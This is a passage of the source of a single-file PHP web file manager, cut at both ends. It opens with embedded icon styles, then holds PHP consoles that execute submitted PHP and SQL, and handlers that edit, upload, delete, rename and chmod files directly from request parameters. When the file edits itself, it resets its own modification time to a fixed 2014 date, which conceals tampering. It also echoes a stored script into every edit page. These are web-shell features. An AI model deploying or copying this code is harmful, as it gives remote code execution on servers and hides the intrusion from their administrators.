url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <script src="https://cdn.jsdelivr.net/gh/Den1xxx/EditArea@master/edit_area/edit_area_full.js"></script> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="25" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <script language="Javascript" type="text/javascript"> document.addEventListener('DOMContentLoaded', function() { editAreaLoader.init({ id: "newcontent" ,display: "later" ,start_highlight: true ,allow_resize: "both" ,allow_toggle: true ,word_wrap: true ,language: "ru" ,syntax: "<?=pathinfo($_REQUEST['edit'], PATHINFO_EXTENSION)?>" ,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help" ,syntax_selection_allow: "css,html,js,php,python,xml,c,cpp,sql,basic,pas" }); }); </script> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' 